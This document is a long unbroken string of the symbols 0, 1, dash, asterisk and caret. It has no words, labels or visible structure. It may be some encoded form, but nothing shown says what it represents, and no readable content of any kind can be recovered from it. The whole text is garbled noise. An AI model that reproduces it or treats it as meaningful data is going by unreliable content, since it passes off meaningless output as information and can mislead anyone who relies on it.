010^1**00-11**011****^1*010^1*011010-1**001****^1*010^^-0010-1**01****0^1*010^^11010110-*******^1*010^^101^^11**0--**00^1*011*^1*01*11**00-11**00^1*001^1*00-^11**010-1**00^1*010^^-010^11**0110-***001*010^1*^10^11**0010-***001*010^^101^^11**0^-***001*011*^1*01*11***0-***001*010^1*00^^11**0-011***001*010^1*00^^11**0101011**00^1*001^^1^-0011***1011**00^1*010^1*^10^11**01^11**00^1*011*^1*01*11**00^11**00^1*010^^101^^11**01*11**00^1*010^1*0110101011**0-101**00^1*001^1*-01^11**00-01**00^1*010^^-010^11**0101101**00^1*010^^101^^11***1101**00^1*011*^1*01*11**0110101**00^1*001^^^101^11**0^101**00^1*001^1*0^1^11***0101**00^1*001^^-110^11**0-001**00^1*001^1*10110^11**001^1**00^1*010^1**0011011**010^1**00^1*010^1*0110101011***^1**00^1*010^^110101^11**011*1**00^1*010^^-010^11**001*1**00^1*010^^101^^11**01*01**00^1*001^^101010^11**0-11****1*001^1**10^11**00-1****1*001^^110^^11**010-****1*010^1*00^^11***-****1*001^1*00^10101***-1**00-**1^^101*10101**0110-**00-**1^1*1*010101**0010-**00-**1^^--00101**0^-**00-**1^1*0-^101***0-**00-**1^^^-00101**0-011**00-**1^1*1101^101**0011011**00-**1^^1^1^101**0101011**00-**1^1**1^101***1011**00-**1^^10110^101**01^11**00-**1^1*1010^101**00^11**00-**1^^-00^101**01*11**00-**1^1*0^^101***0011**00-****011*^101**0-101**00-**1^^1*0^101**00-01**00-**1^1*-1*101**0101101**00-**1^^11011*101***1101**00-**1^1*0011*101**0110101**00-**1^^10101*101**0010101**00-**1^1*^1*101**0^101**00-**1^^-1*0101***0101**00-**1^1*011*0101**0-001**00-**1^^^1*0101**001^1**00-**1^1*11*00101**010^1**00-**1^^11**101***^1**00-**1^1***0101**011*1**00-*0010^^10--101**001*1**00-*0010^1*10--01**01*01**00-*0010^^-0-1101****1**00-*0010^1*010-1101**0-11***-*0010^^1*-1101**00-1***-*0010^1*-0-101**010-***-*0010^^11010-101***-***-*0010^1*0010-101**011011***-*0010^^101^10101**01*1****1*011*^1*0^101***001****1*010^1*00^10101**0-1****01*010^^11*-101**01011****01*010^1*-10-01***11****01*010^^^110-01**01101****01*010^1*01010-01**00101****01*010^^-^-01**0^1****01*010^1*10^-01***01****01*010^^101*-01**0-****001*010^^1^^1101**0011****001*010^^1*1101101**0101****001*010^^11010110101***1****001*010^1**00-01**011*****1*010^^-01010101**001*****1*010^1*0110101101**01*****01*010^^101^10101********1*010^^-0010^1**0--***001*011*^1*01*01**00-11***001*010^^110-0^1***-1***001*010^1*1^11*1**0110-***001*010^^1*011*1**0010-***001*010^1*0-01*1**0^-***001*010^1*^101*1***0-***001*010^^101^1*1**0-011***001*011*^1*01*01**0011011***001*010^^-0101*1***101***^1*010^^1101011*1**01^1***^1*010^1*00^1*1**00^1***^1*010^^1*011011***10-***001*010^1*0-01011**00^-***001*010^^-0101011***00-***001*010^1*^101011**00-011***001*010^^101^1011***11011***001*010^1*110110-**00101011***001*010^^1*11011***-101***001*010^1*01101011***0-01***001*010^^-001011***101101***001*011*^1*0^1***001101***001*010^1*1*1011***1*01***001*010^^10-0011****001***001*010^1*001^11***-11****1*010^^1^^11***0-1****1*010^1*00^101***10-****1*010^1*01*011***00-****1*010^1*-*11***1*****01*010^^^1*11********001*010^1*0-01***00--***001*010^^-0101****-11***001*010^1*^101***0010-1***001*010^^101^1****0-1***001*010^1*00^1***10110-***^1*11*^1*01****110-***001*010^1*00^1****10-***001*010^1*01*01****0-***001*010^^--1***00-011***001*010^1*10-1****11011***001*010^^1010-***00101011***001*010^1**-****01011***001*010^^1101011***001^11***001*010^1*1^11****^11***001*010^^1*011***001*11***001*010^1*0-01*****11***001*010^^-0101***00-101***001*010^1*^101****-01***001*010^^101^1***00101101***001*011*^1*01****001101***001*010^1*00^1***00110101***001*010^^11*01****10101***001*010^1*^101***1*^1***001*001^^-11011**001011*1***001*001^1*1011011**00^1*1***001*001^1*0011011**00101*01***1**01^^11*011**001**1***-*010^^101^1***10-11****1*001^^1*0011**001*-***01**01^1*0101101**001011011***0-*010^1*00^1***^1011****1*010^1*00^1***10^11****1*001^^-00101**001*011***0-*001^1*110^1**00^-***00-****1*****^1****0-****1*****101****00-*0-11*1101101101*1*11**1**00101**001*11011**0^-1101101**00101*001**101011011*^1*11*1**0011***^1010101011*^10^1*1**0011**1**101011011*^1*11*1**001*00-11*110110-1*^10^1*1**001*00-11*0^-10-1*001*101***--*001*10^10-00^-101011***--01**^^10^11*1*00-***---11*101010110-1*001*101***10-101**^^10^11*1*00-***10---*010^-00101*--11***10---***-1^^-101011***10-^11**011011*10^10110^1***110--11*01^-11*1*10110-***110--11*101010110-1*001*101***110-01**^^10^11*1*00-***110-0011**011011*10^10110^1***^-*00^1101011011*^11*-1***-0--1*01^-11*1*10110-***-0--1*110110-1*^10^^1***101011*00^1*0110-00^-101011***1^1^1**101011011*^1*1^1***1*--1*110110-1*^10^^1***1*1^1**101011011*^1*1^1***-10--*110110-1*^10^^1***-10--***-1^^-101011***10110--*101010110-1*001*101***10110101**^^10^11*1*00-***10110--**00-0-1*00-0-***11010--*101010110-1*001*101***11010101**^^10^11*1*00-***11010^1**101011011*^1*1^1***^10--*110110-1*^10^^1***^10101**^^^-1*^11*1***-00--***-1^^-101011***-00--*101010110-1*001*101***-00101**^^10^11*1*00-***-00--*0^-1^11*1*00-***10^1*001*11011**0^-110-***10^--*1101101101*1*11*001***10^^1**101011011*^1*1^1***11*--*110110-1*^10^^1***11*--*101010110-1*001*101***1*0^11**011011*10^10110^1***1*0101**^^10^11*1*00-***1*0--***-1^^-101011***1*0^1**101011011*^1*1^1***-110-11*110110-1*^10^^1***-110-11***-1^^-101011***10-*1**101011011*^1*1^1***110110-11*110110-1*^10^^1***110110-11***-1^^-101011***^11**1*11011**0^-110-***-01*1**101011011*^1*1^1***10101**^1010101011*^10^^1***10101**1*10^10-00^-101011***1^1*11**011011*10^10110^1***1*^1**^^10^11*1*00-***1*10-11*01^-11*1*10110-***1*10-11*101010110-1*001*101***1*10-11*11011011010101*^1^1***-1**0^101*^10101*0010^1***-1**01*11011*10101*-1*1***-1**0^110-00^11*1*00-***-1*01**101011011*^1*1^1***110^-11*110110-1*^10^^1***1101**0^-01*-00^-101011***^1*01**101011011*^1*1^1***-*-11*110110-1*^10^^1***-*-11*101010110-1*001*101***101*0011**011011*10^10110^1***101*-11*01^-11*1*10110-***101*01**^^10^11*1*00-***101*-11***-1^^-101011***101*-11***-1^^-10101***010-101**^^10^11*1*0011***010---**00-0-1*00-011***010---*101010110-1*001*1***0010---*01^-11*1*1011011***010-^1**101011011*^1*11****110-*001*1101^11*^10^1****110-*00^11010^-00^-10101***0^-001**101011011*^1*11****-0--1*110110-1*^10^1****-011*00^-01*-00^-10101***0101011*001*1*1*10101*^1****01^110-*0010-10^11*1*0011***01^--1*0^-10-1*001*1***001^--1*00110-11*1*-0011***01^--1*0^--*^11*-***01^1101**^^10^11*1*0011***01^11*00^1**0-001*1^101***01^--1*010--1*1*1011011***01^1^1**101011011*^1*11****1*--1*110110-1*^10^1****1*11*00^-01*-00^-10101***0-10--*00110-11*1*-0011***010110--*0^-10-1*001*1***0010110101**^^10^11*1*0011***010110--*010--1*1*1011011***0101101*00^1**0-001*1^101***0101101*001*011*001010^-*****11010--*010--1*1*1011011***0110101*00^1**0-001*1^101***011010--*0^-10-1*001*1***0011010101**^^10^11*1*0011***011010^1**101011011*^1*11****^10--*110110-1*^10^1****^10--*010--1*1*1011011***010^--*00110-11*1*-0011***010^--*0^-10-1*001*1***0010^101**^^10^11*1*0011***010^^1**101011011*^1*11****11*--*110110-1*^10^1****11*101**^^10^11*1*0011***01*0--*101010110-1*001*1***001*0--***-1^^-10101***01*0--*00110-00-*0-0011***0^110-11*01^-11*1*1011011***0^110-11*101010110-1*001*1***00^110-11**00-0-1*00-011***0^1^1**^^10^11*1*0011***0^110-11*010^-00101*--1***0^110-11***-1^^-10101***0^11*11**011011*10^101101****^11*1**101011011*^1*11****-010-11*110110-1*^10^1****-0^1**^^10^11*1*0011***0101010-11*101010110-1*001*1***0010101*11**011011*10^101101****101010-11***-1^^-10101***010101*1**101011011*^1*11****1^10-11*110110-1*^10^1****1^1*1**101011011*^1*11****1*10-11*110110-1*^10^1****1*^1**^^10^11*1*0011***0-^-11*101010110-1*001*1***00-^-11***-1^^-10101***0-1*011**011011*10^101101****101^-11***-1^^-10101***0101^-11*101010110-1*001*1***001011*1**^^10^11*1*0011***01011*01**101011011*^1*11****110^-11*110110-1*^10^1****110^-11*101010110-1*001*1***00^^-11*010^-00101*--1***0^1*1**^^10^11*1*0011***0^1*1**^^^-1*^11****0^^-11***-1^^-10101***0^1*011**011011*10^101101****^^-11*00-101^101*1^-*1*0^^^1**^^10^11*1*0011*1*0^^1*1*00110-10^10^-01011*1*0^^10-11**01101^10^101^11*1*01*00^1**^^10^11*1*0011*1*01*1^-11*01*101^101*00^11*1*0^10^-11*1010^1^10^11*011*1*0^10^-11*01*110^101*-1101*1*0^10^-11*-*010-1*00-011*1*0^10^-11*1010-0^10^-01101*1*0^10^-11*01*110^101*^1101*1*0^101*01*00110-10^101*0^101*1*01*1*0-1*0101010-^^-10101*1*01*1*-11*1101101011*1*1011011*1*01*1*-11*10101010^10^1010^1*1*01*1*-11*0-0010^101*01*01*1*01*1*-11*-*10^10^^-1*01*0^1*0101*001*0010^101*010-*01*01**001**^^10^11*1*0011*1*01**0-11*00-^^11*1*00-11*00^---1*01*010^101*0110110-*001*---*00-^^11*1*00-11*00^10--11*00-^^11*1*00-11*001*0-*01*0-*0^10^11*110-*00^110--1*01101^^101*1011010-*00^11011*01*0-*0^10^101^10-*001*10--1*-10^^101*0-^-*001*10--1*01*^^10^10110^-*00^^--1*^11*^10^11*^-*00^^--1*0011*0^101*-1*-*001*00--1*001*00^11*1*00-11*00^-010-*0010-10^11*1*00-11*001*11010-1*10--^101*0101*-*001*110^11**0110-0010^^1*0-*00^1010^11**011011*10^---11*00^1010101**^^^1011*01011*-*001*0101101*001*0010^11*1*00-11*00^1^10-1*0-1011*101*^--1*00^1^10^1*0101101**^-110-11*001*^10-1*0110--*1*10110-11*00^1*10-1**0-1*10^11*--*001**^-*^110-1*1*10110-11*001**^-*^11011*101*^10-11*001**^1**101011011*^1*1^-*00^-^-1*01010-11*^10^^-*00^-^-1*00^--00^-1010-1*001*-00-1*0-1011*101*-00-11*00^10110101*001*0010^11*1*00-11*00^1011*101*^10110^11*1*00-11*00^1011*11*00101**0101*1*0-11*001*011*11*011***101*1*0-11*001*011*101*0^^1*101*00-0-1*001*01^1**^^10^11*1*00-11*001*01^-*0010-1*0101*1^10-1*001*011*1*00110-1*0101**^-1*00^110^1**^^^-1*01011010-*001*101010-*-0101*0101*--0-*001*10^-1**11011*10^-00110-*001*00^1**^^10^11*1*00-11*00^101*0101*^101^-1*001*10-*00^101*011*00-*-*1*10110-11*00^101*1**-0^1*101*0101010-*001*01*1**-0^1*10^11*010-*001*01*01**101011*010^-01^-*00^11*0-1*1*10-1*1*10110-11*001*1*0011**011011*10^10110^-*001*1*0-1*0101010-^^-1010-1*001*1*001*00110-1**^-110-11*00^1*00-1*010^-1*1*10110-11*001**00-1*001*11*101*1*1*11*00^-110-1*0-110-^1*10-11011*001*-10-1*-0110-^^10^-011*001*-10-1**0110-^^10-101011*001*-10-1*0101010-^^-10101011*00^10-0-1*00^10-^1*1^101011*001*0-101*001*0010-001*001^1011*00^110-01*001*0010-00^1101*1011*00^1101^1**-0110-00^-0-0011*00^1101^1**-0110-001*0-0^11*00^1101^1**-0110-00^^^^11*00^110110-*0010-10-001*00101*11*001*10-01*001*0010-001*1011*011*001*101^1**-0110-001*01**11*001*101^1**-01^1^1*110-1011*001*101^1*0010101^^11*1*0011011*001*00110-1*10-00101^1*1010-011*00^-0101**^^^1^^10^-011*00^-0101**^^^1^1*0-*011*00^-0^1**-01^1^^^11011011*00^-010-1**1^101^1*01^11011*00^-0101**^^10^11*1*0011011*00^-0^1*00110-^1^^10-101011*001*110^11*00-*101^1*-0101011*00^1010101**^^10^11*1*0011011*00^1010^1*00110-^1^1*-^1011*001*010101**^^^1^^^1^1011*001*01010-1*1*^101^1*011*1011*001*010^11**01101101^1*0-1^11*001*010^11**01101101^^1010-0011*001*01010-1*01011*00^1*0--011*001*01010-1*1101*101^^11*1^11*001*01010-1*101*0101^1*01010^11*001*01010-1*10-1^1^^1*00^11*001*01010-1*-0-001^1*-01*11*001*010101**^^^1^1*1*1*11*001*010^1**10101^1^1*0-*011*001*01010-1*1*-001^1*-*0011*001*010101**^^10^11*1*0011011*001*01010-*0010-10^11*1*0011011*00^1^10-1*010101^-1*10101011011*001*^10-1*00^1^1^1*1**011*001*^10-1*10-01010^1*^-1011*001*^10-*0010-1010^1*1^-011*001*^1101*001*001010^^11011011011*001*^110-*-0101010^1*10^11011*001*^1101*001*001010^1*10-01011*001*^101**-0^110^^1*1101011*00^1*10-1*10101010^11*1*0011011*00^1*10-1*101^1010^^^10101011*00^1*1*01*110110-0-*11*1^11*00^1*10-1*011*101011*01*^1011*00^1*10-1*--0010^^^10101011*00^1*101**-0^110^1*1*101011*00^1*1101*001*0010^11*1*0011011*00^1*-1**110-110-*11011*011*00^1*^1*0010101^^11*1*0011011*001*-00-1*-01^10^^10-001011*001*01^-1*1*1^10^1*011*1011*00^110^1**1^^110^^--^11*001*10^1**1^^110^1*-01^11*001*10^1**1^^110^1*1^1^11*00^^^-1*11010^10^1*01010^11*001*00^-1*10^^10^^^^^11*001*00^1**^^10^11*1*0011011*00^-*-1*01011*10^1*-11*11*001*11*-1*01011*10^^1^11*11*001*11*011**0110-0^^110101*11*001*11*1**1^^110^1*0011*011*001*01*1**101*101*0^-10-011*001*01*1**101*1010^1*0101*011*001*01*-1*0-1*10^^-**11*00^11*01**^^10^11*-*11011*00^11*001*0010110-^11*10110-011*00^11*0-1*01011*00^1*0--011*00^11*01**^^10^11*1*0011011*00^11*01**^^10^11*1*0011011*001*1*0-1*10101*00^1*00--01*00^-110-1*10101*00^^-10-101*00^-110-1*10101*00^1*1010-101*00^-110-1*10101*00^1*1*-101*00^-110-1*10101*00^1*10110-01*00^-110-1*10101*00^1*^10-01*00^-110-1*10101*00^1*10^-01*00^-110-1*10101*00^1*1*0-01*00^-110-1*0-**^1*0101101101*001*-^1**101011*^^-00101101*001*-10-1*101**0^^1^^1101*001*--011*11*011*001*-0110101*001*0-1101*010101^1*01*101*1101*00^1101101101*1**110-*10101*101*00^^-0011*1101^^-*0-0-101*00^^1^11**--00-*01^101101*00^^1^1*00110-1011*1*00-01101*001*00-0-*110-1^^1*-*1101*00^1010110-*1^-^^1*-*1101*00^1010110-*00110-00^1*-*1101*00^1010110-*11*-00^1*-1010101*001*010110-*10-01^^^--10101*001*010110-*101^-0011*1*00-01*001*010110-*110-0^^^10110110101*00^1^110-*1*001^^1*-1010101*001*^110-*110-0^^^-^10101*00^1*110-*1**^^1*11*10101*001**110-*110-0^^1*00-00101*001**110-*1*110^^1*-0^101*00^-1010-**1010--*^10110101*00^-1010-*1*010^^1*1011*101*001*-010-*0101^^^1*001*0101*001*-010-*0010^-*^-0-1101*00^1011010-*1011*-*1*0110-101*001*011010-*-*01*00^10110101101*001*01^1**^^10^11*1*00-01*00^1101010-*1**-*^11*-101*001*101*-*1**011*1*10110-01*001*10^1011*10^^11*1*-00-01*001*10^1**^^10^11*1*00-01*001*101*1**-0110^11*1*00-01*00^^1010-*010-10^11*1*00-01*00^-*1**^^10^11*1*00-01*001*1^10-**0-0^11*1*00-01*00^11*01**^^10^11*1*00-01*001*1*01**^^10^11*1*00-01*00^1*001**^^10^11*1*00-01*001**001**^^10^11*1*001^1*00^-1101**^^10^11*1*001^1*001*-110-*^1011**1*110101^1*00^10-001*00110-1011*^1*001^1*001*0-10-*^10110^11**0101^1*00^110-01*001*0010^11*1*001^1*001*110^1*00110-1011*1*00-0^1*00^1010110-*11*11011*^11*10^1*001*010101**^^10^11*1*001^1*00^1*1101*001*0010^11*1*001^1*001*-001**^^10^11*1*001^1*001*01^1**^^10^11*1*001^1*00^110^-*01101^1^11*1*001^1*00^1101010-*10-0^-1*1010101^1*001*1010101*001*0010^11*1*001^1*00^^^1**^^10^11*1*001^1*00^101*-*01101^1^11*1*001^1*00^101*1**^^10^11*1*001^1*001*0^101*001*0010^11*1*001^1*001*1*1011*0^-*0-*1010101^1*001*1*01**^^10^11*1*001^1*00^1*001**^^10^11*1*00-1**1*-10^1*1^^--*10-0-1**^1101^-*0110-1^11*1*00-1**^110-0-*-0101011*1*010^-**^110-0-*010^10^11*1*00-1**^^1101**^^10^11*1*00-1**1*001101**^^10^11*1*00-1**1*010^-*0-0^11*1**^-**^1^110-*001*1011*1*101*-**^1^110-*--0011*1*101*-**^1^110-*^-0011*1*11*0-**^1^110-*^-0011*1*1*00-**^1^101**^^10^11*1*00-1**1*^110-*1^11*-1*101010-1**^1*101**^^10^11*1*00-1**1**101**^^10^11*1*00-1**^-^-*01101^101*^11*^11**1*-001**101*1011*1*10-1011**1*1010101*001*0010^11*1*00-1**1*00^1**1^^-*1*-011011**^-*1**-0^-*1*1*11011**^-0010-**01^11*^110^1011**^-*1**-0^-*1*10-0011**^-00-*00101*^-1*0101*011**^-*01**101011011*^1*1^11**1*11*^1*0101101011*^10^^11**1*11*-*01101^--**0011011**1*01*-*0010-1011*1*^1*11**1*1*10-*^10^^11*1*00-1**1*1*10-*0-1*11*^11**11**^1**-*1101*101*^-10-11**^1*001**^^10^11*1*00-1**1**010-*-01**001*110101101**^--0-*0^1*01*1*1*-01**^--0-*0^1*01*1*110101101**^-1^1**10101^1*^110^1101**1*0-001*00110-^1*1*-110101**1*0-10-*0101*001*^1**101**^110-0-*001**1*^1^110101**^110-01*001*0010^11*1*001101**^1101^-*10--01*^1**101**^1101^1*00110-^1*^^1010101**1*101^-*0110-1^11*1*001101**^^110-*01*10--1**001^1**1*001^101*1^10^1*^11*10101**^-0-**1^11*-1*00-00101**1*110^-*00110-01*1*101^101**1*110-01*010-1^1*1*101^101**1*110^-*10^-01*1**^101**1*110-01*010-1^1*^1**101**1*110^-*0-101101*^-001^1**^1010^11**-01101*1*^-001**^1010^-*^11011*001*110101101**^1010^-*1*101101*^-001^1**^1010^-*110^11*001*110101101**^1010^-*1*001101*1*1*0^1**^1^10-*0010-^1*^^110^1**^1^10-*00110^101*1*^10^1**^1^101**^^^-1*^11*01**^1^^-*110-0101*1*1*0^1**^1^^-*110-0101*1*^11*1**^1^10-*01101^101*^110101*1**^1^10-*01101^101*^11*1*1**^1^^-*0010110101*1*1011*01**^1^^-*1011010101*1*-*001**^1^10-*00110^101*1*11**1**^1^^11**0110-*01*10-1101**^1^^-*1*01011*01*010-101**^1*^-*01^1011*01*010-101**^1*^-*1*01011*0^-10-01**^1*^-*0010^11*0^-1101101**^101^1**^^101*01*010101101**1*01^1**^^^-1*^11*01**1*011*-*1101*11*01*00^1101**1*011*11*010-0011*01*00^1101**1*011*11**0110-*0^110-0101**1*011*-*001*0110-*0-0-01**^1101*-*--^1011*1*1*01**^1101*-*010-101*01*010110101**^1101*-*1010-00-1*01**01**^1101*-**0-00-1*01**01**^1101*-*010101101*01*010110101**^1101*-*11*11**^10^1^1**^1101*-*00-0^-1*01**01**^1101*-*011010^-1*01**01**^1101011**1^1^1*0^1101^101**^1101*-*1*10^-1*01**01**^1101*-*001^^1011*1*1*01**^1101*-*-*1**^101^^1**^1101*-*01*0101*01*010110101**^1101*-*10-1*1011*1*1*01**^1101*-**-*1011*1*1*01**^1101*-*1^1^1*0^1101^101**^11010^1**010^1*0^10^10101**^110^1**-0^101011*1*1*01**^1101*-*0-01*-1*01**01**^1101011**101010-*0^1101^101**^1101*-*-001**0^-0-001**^110^1011*1^1*0-1*01**01**^110101101*010101^1*01*101*101**^1101*-*01*^1*0^11*00101**^1101*-*10-*0-1*01**01**^1101*-**11**001*-01^1**^1101*-*0^1*1*0^1010-001**1*00^1011*10110-1*01*-10^1**1*00^1**-0^11*0^-*^1**1*001*-*1101*01*0^^-*1**1*00^1011*1**11*0^110101*1**1*00^1**-0^11*01**1*01**1*0010-*00110^1**^--1101**1*00^1**1^^1*00^1^-101**1*00^1011*101*1**^^10-01**1*11*01*00110-1**^-1101101**^11*00-*011*00^11*1*001101**1*1*00-*1****1*110101101**^1*00-*00110^1*001*10^1101**1**011011*010-1^-*10-10101**1**00-*01101^1^11*1*001101**1**011011**0-110-*-010^1**1**0101*001*0010^11*1*001101**1***1*00110-^1011*1*1*1**0^-1^11*00-*101011*1*1*1**0^--1011*11010-10-*--101**0^-1^11*00-*101011*1*1*1**01*--011*10^-*001*1*0-**0^10-11011*10-0-0-*101*011**0^10-11011*-01011*00^101101011**0^10-001*00110-1**1**01011**0^10-0011**011011*001*110^11**0^1101^11**011011*001*011*11**0^110-1011*1*1011*001***11**01*10-1011*010^11*00^-0-01**0^^-1011*11*011*001*-01101**0^^-1011*00-101*00^10^1101**0^^-1011*0110110--**001101**0^^1101101*001*01*001*11010101**0^^-001**0101*1011*1*1*1**0^^-1011*-10101*00^101^101**0^^-1011*^1010--**001101**0^^110-*0-10--11**001101**0^^-1011*01*101*00^101*101**0^^-1011*1101^1*001*0-^1**0^^-1011*0010^110-*0-0-1**0^^-1011*1011*10-1*01**1**0^^-1**01*-*00^^10^1**01*00-1011**1*1*001*1011*1**01*001^1**0101011*00^-1*01**01*00-1011*11*001*00^101*001**01*00-1011*00-110-11*011011011**01*00-1**00101*-11**--**01*00-1011*1^-010-*00^1011**01*001101011*1**--*01^-1**01*00-1011*0-0110-11*10-0-**01*00-1011*10^11010-*00^1011**01*001101**0-0--11*1^10-**01*00-1011**00110-11*^^-**01*00-1011*11011010-11*10-1011**01*00-1011*00101010-11*011011011**01*00-1011*001^10-11*-001011**01*00-1011*101*10-11*1101^11**0^-0-011*110-00-11*1*^11**0^-0-011*10101^-11*001*011**0^-0-011*0-0^-11*110-101**0^-0-011*00^^10-*-010101**0^-0-011*11011*-11*^101101**0^-0101**^^^1011*01011*1**0^1010^11*0011*--1**001101**01*^-011*1011*0-11*110^101**01*^-011*1011*0-11*--001**01*^-011*1011*0-11*10101^1**01*^-011*1^1*-11*11010^1**01*^1101*00----1*11010^1**01*^-011*1011*0-11*-11*1**01*^-011*1011*0-11*01101*1**01*^-011*011*00-11*011*001**0^1*^11**0110110-1*0110-11**0^1*11011*0^-*-1*00110-1**0^1*-011****-1*00^-1**0^1*^11*00-*101011*1*1*1**0^1*10-*00110^10-1*00-0-**01**101**^^10^11*1*00-**01**10-*01101^1^11*1*00-**01**101011*010-110-1*101010-**0^-^1**-0^10-1*^^-**01*-001**0-*10-1*01*0-**01*-001011*1^-10-1**011011**01*-01101*010-1^-1*11*1011**01*-011**1^11*-1*00-0011**01*-01101*0101011*-1*-1*11**01*-001011*10110-0-1*1**11**01*-001011*01^-0-1**-101**01*-01011*010-1*-1*110101101**0^101^1011*0-10110-1*01^1101**0^101101011*0^-*0-*101010-**0^101^1011*011010110-1**001101**0^101^1**^^^-1*010110101**0^101^1**^^^1011*01011*1**0^101^1011**^-0011*1*00-**0^110^1011*00-1010-1*1*10101**01*10101011*010-^^11*1*00-**01*10^-*0010-10^11*1*00-**01*101*11*0-0-1^11*1*00-**01*10^1011*00-1010-1**^101**01*10^1011*00-1010-1*001*101**01*10^1011*0^110^-*110--**01*10^1011*010101010-1*-01^1**0^^^1011*10-0010-1*00110^1**0^^^1011*11*1010-1*00110^1**0^^^1011*11*1010-1*0^1*1**0^^1*11**0110110-1*-11*1**0^^^-*0010-10^11*1*00-**0^^^1011*10-0010-1*^11*1**0^^^1011*0110^10-1*0^1*1**0^^^1**^^10^11*1*00-**0^^^1011*0101*^-*0-00-**0^-*1011*0101*10-1*0101*01**0^-*011**0110110-1*01**1**01*11*01*00^110-0-*-010101**01*11*1011*101*0110-*0110-11**01*1^1011*0^-0010-*0-0-1**01*11*01*00^1101^-*-101011**01*11*-*0010-10^11*1*00-**01*1^1011*010-^^11*1*00-**01*11*1011*1**110-*10^-1**01*11*1101*0110^110-**00-1**01*11*01*00110-^1011*1*1*1**0^101*011*010110-10-*0^10-**0^11*0011*010110-10-*001*-**0^11*01011*^-1010-*10-1011**0^11*01011*1*-010-**-011**0^11*01011*0101011010-**011011**0^11**01*^^-0-*^101011**0^11*01011*-1101010-*00^1011**0^11*01011*0^101010-*00^1011**0^11*01011*101*1010-*00^1011**0^11*01011*110-0010-*0010^11**01*1*01011**01^10-*--101**0^1**11*00-*101011*1*1*1**0^1*001**^^10^11*1*00-**01**001101*0110^110-*1011*1**00^^1101011*01010^^11*1*0011**00^^1101011*10^1*0-*10-101**00^1010101011*-11*10-*101*01**00^1010101**^^10^11*-*11**00^1010^1*00110-^1011*1*1***00^1010101**^^10^11*1*0011**00^10101101*001*0010^11*1*0011**001*0101101*001*0010^11*1*0011**00^1^^1**-0110^11*1*0011**001*^1101*001*0010^11*1*0011**00^1*1101*001*0010^11*1*0011**001**101**^^10^11*1*0011**00^-^1011**11*01011*1*1***001*-*1*00110-^1011*1*1***00^101^1011*1^1*10-*--1***^101^-*0010-10^11*1*0011**001*01^1**^^10^11*1*0011**00^11010101*001*0010^11*1*0011**001*1010101*001*0010^11*1*0011**00^^10101*001*0010^11*1*0011**001*0010101*001*0010^11*1*0011**00^-00101*001*0010^11*1*0011**001*1^101*001*0010^11*1*0011**00^10^101*001*0010^11*1*0011**001*01*1011*1011*010-*1^-***^11*01011*1011*010-*1011****^11*00101*0-^110-*^1011***^11*01011*011*0010-*11*11***^11*^11*00--10-*11*11***^11*^11*1010^110-*-0101***^11*001*00110-1010-*011*1***^11*^11*1*-110-*0-01***0^11*^11*^10-00-*-1^1**00^11*11**1^1^10-*1^11***0^11*^11*01*-10-*0-01***0^11*^11*1101101^-*^1011***^11*001*00110-1*-*0110-1**00^11*0011*01*0-00-*1010^1**00^11*^11*1^101^-*01^101**00^11*^11*0-00-0-*1011****^11*0011**--10-*11*1***0^11*-**110-^-*^1011***^11*^11*-*1^-*-1^1**00^11*^11*1*00-0011*1*0011**00^11*^11*110-0^-*^1011***^11*0-*01*010110-*11011***00^11*0011*01*0-00-*0-0011**00^11*^11*1^110110-*1011****^11*01101*1**110-*10101***00^11*00101*0101010110-*1011****^11*^11*1101^110-*11****00^11*^11*-0010^-*110-11**00^11*^11*1101^^-*0110-1**00^11*^11*1*010^-*^1011***^11*^11*1101^^-*0-0-**00^11*11**1^11*0-**00-**00^11*0011**01101^-*10101011**00^11*^11*0101*^-*0-0011**00^11*00101*0101010^-*001*11**00^11*0011**--00-*10-101**00^11*^11*1010^^-*-10101**00^11*0011**--00-*01^101**00^11*^11*-1*^-*-1^1**00^11*^11*0101*^-*1010^1**00^11*^11*01*00^-*^1011***^11*001*00110-1*-*1011*1**00^11*001*00110-1*-*101*01**00^11*^11*10-11*-*^-1***^11*0011**--00-**0-***^11*-*00101*1*-*^1011***^11*^11*-0-*-*^1011***^11*101*001*0010^11*1*0011**00^1****10101011***001*1**0010101011****-****-1***-^1****-1***001^1****-1***110^1****-1***010^1****-1***^^1****-1****^1****-1***101*1****-1***001*1****-1***11*01****-1***01*01****-1***1*001****-1*****1****-1***--****0-1***0-11****0-1***10-1****0-1***00-1****0-1***110-****0-1***010-****0-1***^-****0-1****-****0-1***-011****0-1***011011****0-1***001011****0-1***1^11****0-1***0^11****0-1***1*11****0-1****011****0-1***-101****0-1***0-01****0-1***101101****0-1***001101****0-1***110101****0-1***010101****0-1***^101****0-1****101****0-1***01^1****0-1***10^1****0-1***00^1****0-1***11*1****0-1***01*1****0-1***1*01****0-1****001****0-1***-11*00-*0^101***1********0-*001^1***1********0-*001^1***1********0-*001^1***1********0-*001^1***1********0-**^1***1********0-*011*1***1********0-*011*1***01********-*011*1***1********0-*011*1***1********0-*011*1***1********0-*011*1***1********0-*011*1***11********-*011*1***01********-*011*1***1********0-*011*1***101****001**00-*011*1***001*******00-*011*1***11****0011**00-*011*1***01********-*011*1***1********0-*011*1***101****001**00-*011*1***001*******00-*011*1***11****0011**00-*011*1***01********-*011*1***1********0-*011*1***1********0-*011*1***1********0-*011*1***001*******00-*011*1***11********-*011*1***01********-*011*1***1********0-*011*1***1********0-*011*1***1********0-*011*1***1********0-*011*1***01********-*011*1***1********0-*011*1****1*******0-*011*1***-*******00-*011*1***011*******00-*011*1***101*******00-*011*1***001*******00-*011*1***11********-*011*1***01********-*011*1***1********0-*011*1****1*******0-*011*1***-*******00-*011*1***011*******00-*011*1***101*******00-*011*1***001*******00-*011*1***11********-*011*1***01********-*011*1***1********0-*011*1****1*******0-*011*1***-*******00-*011*1***011*******00-*011*1***101*******00-*011*1***001*******00-*011*1***11********-*011*1***01********-*011*1***1********0-*011*1****1*******0-*011*1***-*******00-*011*1***011*******00-*011*1***101*******00-*011*1***001*******00-*011*1***11********-*011*1***01********-*011*1***1********0-*011*1***1****************1***01**01*********01*****1**********001****001**********011***01***********0011***01************1****001**************01************1****001**********11****001**********001****001**********01*****1**********0101****001**********001****01**********011*****1**********01****001**********01*****1***********1****001**********11***001***********001***001***********001***001***********011***001***********001***001***********01*****01**********001***1**01*********11***01**01*********11***01**01*********001***1**01*********11***01**01*********01***01**01*********1***************0011*****1**********1***001**01*********01***01**01*********01***01**01*********01***01**01*********11***01**01*********011****011**********101****011**********001****001**********01****001**********01*****1**********0101****011**********001****01**********001****001**********01*****1**********01***001**01*********01***00^1**********01****^1**********0011****001**********101****001**********001****001**************01************1***01*1**********001***0^1**********011*****1**********001***01***********001***00^11**********1***001**01*********1***001**01***001**101**101*10^11*010-01*11